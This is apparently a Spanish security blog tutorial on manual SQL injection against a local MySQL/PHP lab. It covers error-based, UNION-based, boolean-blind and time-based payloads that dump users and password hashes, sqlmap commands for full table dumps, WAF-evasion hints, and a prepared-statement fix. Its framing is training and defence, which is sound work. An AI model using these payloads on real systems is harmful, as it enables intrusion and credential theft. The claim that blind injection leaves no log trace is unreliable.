SQL Injection manual: técnicas avanzadas de extracción de datos

SQL Injection manual: técnicas avanzadas de extracción de datos

1. Introducción

La SQL Injection manual sigue siendo, más de dos décadas después de los primeros exploits públicos, la técnica que más bases de datos compromete en auditorías reales. A diferencia de los escáneres automáticos, la SQL Injection manual permite entender qué está ocurriendo en cada consulta, adaptar el payload al motor de base de datos exacto y extraer datos con una precisión quirúrgica que ninguna herramienta genérica alcanza. En este artículo montaremos un laboratorio local con MySQL y PHP para recorrer la SQL Injection manual de principio a fin: detección, inyección basada en errores, UNION-based, variantes ciegas booleanas y time-based, y cierre con su automatización responsable mediante sqlmap.

Dominar esta metodología es también la mejor escuela para defender: quien sabe construir un payload de extracción entiende dónde sanitizar, qué parametrizar y cómo detectar los intentos en los logs. Este artículo es exactamente el recorrido que sigue un auditor experto, con comandos reales y verificables en tu propio equipo.

2. Detección: el primer paso de la SQL Injection manual

Toda prueba seria comienza con una buena detección. La regla de oro es observar el comportamiento de la aplicación ante entradas controladas: una comilla simple, un operador aritmético o un comentario SQL revelan si el parámetro llega concatenado a la consulta o si está correctamente parametrizado. En nuestro laboratorio, la aplicación tiene un buscador de productos con el parámetro id vulnerable:

# Solicitud original: busca el producto con id=1
GET /producto.php?id=1

# Comilla simple: aparece el error de sintaxis MySQL
GET /producto.php?id=1'

# Error esperado si la consulta es vulnerable (MySQL)
SQLSTATE[42000]: Syntax error or access violation:
1064 You have an error in your SQL syntax near ''1'''

Fig. 1 – Detección de la SqlInjection manual con comilla simple y respuesta de error del motor MySQL.

Ese mensaje de error ya nos da tres datos de oro para continuar: el motor es MySQL, la consulta se ejecuta sin traducir y no hay filtrado previo. El siguiente paso es confirmar la interpretación del operador aritmético: si id=2-1 devuelve el producto id=1, la entrada se está evaluando como SQL. A partir de ahí, la SQL Injection manual pasa a la fase de mapeo del número de columnas y del motor exacto con funciones como version() o @@version.

3. SQL Injection manual basada en errores y UNION-based

3.1. Inyección basada en errores: extracción con extractvalue

La vía más rápida de la SQL Injection manual es la basada en errores: forzamos que el motor devuelva el resultado de una función en el propio mensaje de error. En MySQL, extractvalue() genera un error XML que incluye la subconsulta que le pasemos, y eso permite volcar credenciales sin necesidad de conocer la estructura completa de la base de datos:

# Volcar el usuario y versión del motor en el mensaje de error
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select user()), 0x7e))

# Error generado con el dato incrustado
XPATH syntax error: '~root@localhost~'

# Obtener la contraseña cifrada del primer usuario
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select password from users limit 1), 0x7e))

En minuto y medio, la variante extractvalue ya ha volcado el hash de un usuario. La técnica equivalente en PostgreSQL usa cast() con un tipo incompatible, y en MSSQL la conversión del nombre de base de datos a int; conocer las tres variantes distingue a un auditor de una herramienta.

3.2. UNION-based: el volcado estructurado

Cuando la aplicación muestra resultados en pantalla, la variante UNION-based es la más potente: permite fusionar la consulta original con una consulta controlada por nosotros. El requisito técnico es que ambas consultas devuelvan el mismo número de columnas:

# Determinar el número de columnas con ORDER BY
GET /producto.php?id=1 ORDER BY 10 -- -

# Confirmar las posiciones visibles en pantalla
GET /producto.php?id=1 UNION SELECT 1,2,3,4,5,6,7 -- -

# Volcado de credenciales en la posición visible (3)
GET /producto.php?id=1 UNION SELECT 1,2,concat(user(),'|',version()),4,5,6,7 -- -

Fig. 2 – SQL Injection manual UNION-based: conteo de columnas y volcado de datos en la posición visible de la página.

Nótese en los payloads la sintaxis SQL real: el comentario — – cierra la consulta original y evita errores de sintaxis. Bien ejecutada, esta metodología requiere además dominar el catálogo de esquemas de cada motor: information_schema en MySQL y PostgreSQL, sys.objects en MSSQL y DBA_TABLES en Oracle. Con esa base, extraer la estructura de datos y las contraseñas es mecánico y silencioso. La entrada de PortSwigger recoge las variantes por motor que todo practicante de SQL Injection manual debe interiorizar.

SQL Injection manual: volcado de credenciales con payload UNION-based sobre una base de datos MySQL

4. SQL Injection manual a ciegas: booleana y time-based

En muchos despliegues reales la aplicación no muestra errores ni datos: solo respuestas correctas o incorrectas. La SQL Injection manual a ciegas se divide entonces en dos vertientes que explotan canales laterales del comportamiento de la página.

4.1. Inyección booleana ciega: el oráculo de la SQL Injection manual

Si la página cambia de contenido según la condición resulte cierta o falsa, tenemos un oráculo perfecto para la variante booleana. Cada bit de información se extrae pregunta a pregunta, y por eso se optimiza con funciones de subcadena y comparaciones binarias:

# Página normal cuando la condición es cierta
GET /producto.php?id=1 AND substring(version(),1,1)=5 -- -

# Página vacía cuando la condición es falsa
GET /producto.php?id=1 AND substring(version(),1,1)=8 -- -

# Extracción byte a byte del primer carácter del hash
GET /producto.php?id=1 AND substring((select password from users limit 1),1,1)=0x24 -- -

Fig. 3 – SQL Injection manual booleana: prueba de oráculo con version() y extracción carácter a carácter del hash.

Este proceso manual es lento pero letal, y no deja rastro en los logs de la aplicación: todas las consultas son sintácticamente válidas y devuelven una página u otra. La SQL Injection manual booleana resulta especialmente útil cuando el WAF bloquea payloads sospechosos, porque podemos fragmentarla con operadores LIKE y valores hex para evadir firmas. En PostgreSQL la función equivalente es substr() combinada con la comparación de tipo, y en MSSQL substring() con la colación del servidor.

4.2. Time-based: el canal temporal

Cuando la página no muestra ninguna diferencia visual, la SQL Injection manual time-based convierte el tiempo de respuesta en el canal de información. En MySQL utilizamos SLEEP() condicionado por SUBSTRING() para extraer un carácter por cada pausa:

# Comparación temporal: si el primer carácter es '5', duerme 4 segundos
GET /producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -

# Medir con curl el tiempo real de cada petición
time curl -s "http://localhost/producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -"

La SQL Injection manual time-based es la última trinchera del auditor y la que sqlmap reproduce cuando todo lo demás falla. Su contrapartida defensiva es clara: los picos de latencia anómalos en un mismo parámetro son una señal de ataque que un WAF con rate limiting corta fácilmente, y el proyecto OWASP mantiene la documentación de referencia sobre estas variantes.

5. Automatización responsable con sqlmap

Una vez dominada la teoría, la SQL Injection manual se acelera con sqlmap, la herramienta de referencia. Un buen auditor valida primero la vulnerabilidad manualmente y después automatiza la extracción masiva. Los parámetros clave para que la automatización respete el método manual son el nivel de riesgo y el manejo de técnicas específicas:

# Extracción automática de todas las bases de datos vulnerables
python3 sqlmap.py -u "http://localhost/producto.php?id=1" --dbs --batch

# Restringir la técnica booleana con nivel 3 y riesgo 2
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
  --technique=B --level 3 --risk 2 --current-db

# Volcado completo con la técnica time-based y retardo propio
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
  --technique=T --time-sec 3 --dump -T users -D appdb

Fig. 4 – Automatización de la extracción con sqlmap conservando las técnicas manuales de la SQL Injection manual.

El uso de sqlmap requiere autorización del propietario del sistema: en España, acceder o alterar datos ajenos sin permiso está tipificado en el Código Penal (artículos 197 bis y 197 ter). Esta guía de SQL Injection manual tiene, como todo el contenido de este blog, un propósito exclusivamente defensivo y formativo, para que puedas auditar tus propios sistemas o los que tengas contratados.

6. Extracción de datos y prevención

El objetivo final de esta guía es la exfiltración controlada de datos. La tabla siguiente resume las técnicas cubiertas, sus canales de salida y cómo bloquea cada una una defensa correctamente construida:

Técnica de SQL Injection manual Canal de extracción Defensa efectiva
Error-based (extractvalue) Mensajes de error del motor Suprimir errores en producción (display_errors=Off)
UNION-based Salida HTML de la propia página Consultas parametrizadas y mapeo de la capa ORM
Booleana ciega Diferencia de contenido entre páginas Reglas WAF sobre parámetros y rate limiting
Time-based Latencia diferencial de respuesta Limitar el tiempo de ejecución de consultas y monitorizar latencias anómalas
Automatizada (sqlmap) Combinación de los anteriores Parcheo del código fuente y pentesting periódico propio

La defensa nuclear es simple y no admite debate: toda entrada del usuario debe formalizar su camino a la base de datos mediante sentencias preparadas. En PHP con PDO, el caso vulnerable que abrió este artículo se corrige parametrizando el placeholder, y lo mismo aplica a cualquier lenguaje:

# Consulta vulnerable (nunca hacer esto)
$pdo->query("SELECT * FROM products WHERE id = $id");

# Corrección con sentencias preparadas
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);

Fig. 5 – Corrección de la SQL Injection manual con sentencias preparadas en PDO: el antes y el después del código vulnerable.

7. Conclusión

La SQL Injection manual sigue siendo un arte y una ciencia: detección con comillas y operadores, explotación basada en errores, volcado UNION-based, extracción a ciegas por canal booleano o temporal y, finalmente, la automatización de la fase de extracción con sqlmap. Cada técnica exige conocer el motor de base de datos, el esquema y el comportamiento de la aplicación, y precisamente ese conocimiento es el que convierte a un técnico en auditor.

Para el equipo defensor, la conclusión no cambia: parametrizar todas las consultas, ocultar errores en producción, filtrar tráfico anómalo y auditarse con la misma SQL Injection manual que hemos practicado. Lo que no se puede romper de forma controlada, algún día se romperá sin control.

Artículos relacionados: análisis y estudio de la inyección SQL blind en profundidad y práctica de inyección en bases de datos NoSQL como ampliación de la SQL Injection manual.

¿Necesitas ayuda con SQL Injection manual?

En Jaymon Security ayudamos a las organizaciones a proteger sus sistemas. Desde auditorías de seguridad hasta implementación de SIEM/SOC, nuestro equipo de expertos diseña soluciones a medida.

Contacta con nosotros para una evaluación gratuita de tu infraestructura.

English

No puedes copiar el contenido